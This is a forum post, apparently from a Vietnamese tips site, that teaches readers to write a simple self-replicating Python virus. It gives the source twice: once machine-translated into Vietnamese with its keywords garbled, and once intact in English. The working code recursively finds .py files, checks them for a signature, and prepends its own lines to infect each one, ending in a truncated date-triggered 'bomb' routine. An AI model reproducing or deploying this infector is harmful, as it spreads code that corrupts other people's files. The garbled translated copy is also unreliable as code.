Hướng dẫn tự viết Virus đơn giản bằng Python

TricksMMO

Administrator
Staff member
** Cách viết virus với Python **

**Xin chào các bạn!**

Tham gia kênh Telegram Tricksmo 👉 Link 👈 TricksMMO

Virus máy tính là một loại chương trình phần mềm độc hại ("phần mềm độc hại"), khi được thực hiện, tự sao chép (sao chép mã nguồn riêng) hoặc lây nhiễm các chương trình máy tính khác bằng cách sửa đổi chúng.Điều này có thể bao gồm việc thêm các tệp dữ liệu hoặc "tải trọng" vào chương trình máy chủ hoặc các phần "ghi đè" của mã chương trình máy chủ.

**Những bài viết liên quan**

* [6 cách để bảo vệ máy tính khỏi virus khi bạn không có phần mềm chống vi-rút] (https://tricksmmo.com/6-ways-to-protect-computers-phần mềm/)
* [Làm thế nào để nhanh chóng tìm hiểu thuật toán lập trình với VisualGo] (https://tricksmmo.com/how-to-quickly-dearn-programing-algorithm-with-visualgo/)
* [Làm thế nào để tin tặc ẩn phần mềm độc hại vào hình ảnh và thực thi?]
* [Làm thế nào tôi bỏ qua AV xâm chiếm Windows 10 với Metasploit và Python?]

Các nhà văn virus sử dụng nhiều kỹ thuật để lừa người dùng chạy mã của họ, bao gồm khai thác các lỗ hổng bảo mật, kỹ thuật xã hội và tải xuống lái xe.Hầu hết các loại virus nhắm vào các hệ thống Microsoft Windows, sử dụng nhiều cơ chế tàng hình và thường được thiết kế để trốn tránh phát hiện bằng phần mềm chống vi -rút.

Các động lực để tạo ra các loại virus khác nhau và có thể bao gồm lợi ích tài chính (ví dụ: ransomware), gửi một thông điệp chính trị, giải trí cá nhân, chứng minh rằng một lỗ hổng tồn tại trong phần mềm, phá hoại và từ chối dịch vụ hoặc đơn giản là vì tác giả muốn khám phá các vấn đề an ninh mạng không gian mạng, đời sống nhân tạo và thuật toán tiến hóa.

Trong bài viết này, chúng tôi sẽ hướng dẫn bạn qua mã cho một loại virus Python đơn giản.Virus này không nguy hiểm, nhưng nó sẽ đóng vai trò là một ví dụ điển hình về cách thức hoạt động của virus.

** Lưu ý trước khi bạn bắt đầu **

Hướng dẫn của chúng tôi được thiết kế để giúp những người đam mê bảo mật tìm hiểu về cách thức hoạt động của virus.Chúng tôi chỉ khuyên bạn nên kiểm tra hướng dẫn này trên một hệ thống hoặc hệ điều hành thuộc về bạn.Chúng tôi không chịu trách nhiệm cho bất cứ ai nghĩ rằng nên cố gắng sử dụng điều này để cố gắng hack các hệ thống không thuộc về bạn.

**Mật mã**

`` `Python
Nhập hệ điều hành
Nhập dữ liệu

Chữ ký = "Virus Python đơn giản"

tìm kiếm def (đường dẫn):
file_to_infect = []
filelist = os.listdir (đường dẫn)
cho fname trong filelist:
Nếu os.path.isdir (đường dẫn + "/" + fname):
file_to_infect.extend (search (path + "/" + fname)))
Elif fname [-3:] == ".py":
bị nhiễm = sai
Đối với dòng trong mở (đường dẫn + "/" + fname):
Nếu chữ ký theo dòng:
bị nhiễm = true
phá vỡ
Nếu bị nhiễm == Sai:
file_to_infect.append (đường dẫn + "/" + fname)
Trả về tệp_to_infect

Def Infect (Files_TO_infect):
Virus = Open (Os.Path.abspath (__ File__))
virus_string = ""
Đối với tôi, dòng trong liệt kê (virus):
Nếu i> = 0 và i <39:
virus_string += line
virus.close ()
Đối với fname trong file_to_infect:
f = mở (fname)
temp = f.Read ()
f.close ()
f = open (fname, "w")
f.write (virus_string + temp)
f.close ()

Def Bomb ():
Nếu DateTime.DateTime.now (). Tháng == 1 và DateTime.DateTime.now (). Day == 25
=======================================
**How to write a virus with Python**

**Hello friends!**

Join the Tricksmmo Telegram channel 👉 Link 👈 TricksMMO

A computer virus is a type of malware program ("Malware") that, when executed, replicates itself (copies its own source code) or infects other computer programs by modifying them. This may include adding data files or "payloads" to the host program, or "overwriting" parts of the host program's code.

**Related articles**

* [6 ways to protect computers from viruses when you don't have antivirus software](https://tricksmmo.com/6-ways-to-protect-computers-from-viruses-when-you-dont-have-antivirus-software/)
* [How to quickly learn programming algorithm with Visualgo](https://tricksmmo.com/how-to-quickly-learn-programming-algorithm-with-visualgo/)
* [How do hackers hide malware into images and execute?](https://tricksmmo.com/how-do-hackers-hide-malware-into-images-and-execute/)
* [How did I bypass AV invade Windows 10 with Metasploit and Python?](https://tricksmmo.com/how-did-i-bypass-av-invade-windows-10-with-metasploit-and-python/)

Virus writers use a variety of techniques to trick users into running their code, including exploiting security vulnerabilities, social engineering, and drive-by downloads. Most viruses target Microsoft Windows systems, use a variety of stealth mechanisms, and are often designed to evade detection by antivirus software.

The motivations for creating viruses vary, and can include financial gain (e.g., ransomware), sending a political message, personal entertainment, proving that a vulnerability exists in software, vandalism and denial of service, or simply because the author wants to explore cybersecurity issues, artificial life, and evolutionary algorithms.

In this article, we will walk you through the code for a simple Python virus. This virus is not dangerous, but it will serve as a good example of how viruses work.

**Note before you begin**

Our instructions are designed to help security enthusiasts learn about how viruses work. We only recommend testing this guide on a system or operating system that belongs to you. We are not responsible for anyone who thinks it is a good idea to try to use this to try to hack systems that don't belong to you.

**The code**

```python
import os
import datetime

SIGNATURE = "Simple Python Virus"

def search(path):
files_to_infect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path + "/" + fname):
files_to_infect.extend(search(path + "/" + fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path + "/" + fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
files_to_infect.append(path + "/" + fname)
return files_to_infect

def infect(files_to_infect):
virus = open(os.path.abspath(__file__))
virus_string = ""
for i, line in enumerate(virus):
if i >= 0 and i < 39:
virus_string += line
virus.close()
for fname in files_to_infect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname, "w")
f.write(virus_string + temp)
f.close()

def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25
 
Join Telegram ToolsKiemTrieuDoGroup
Back
Top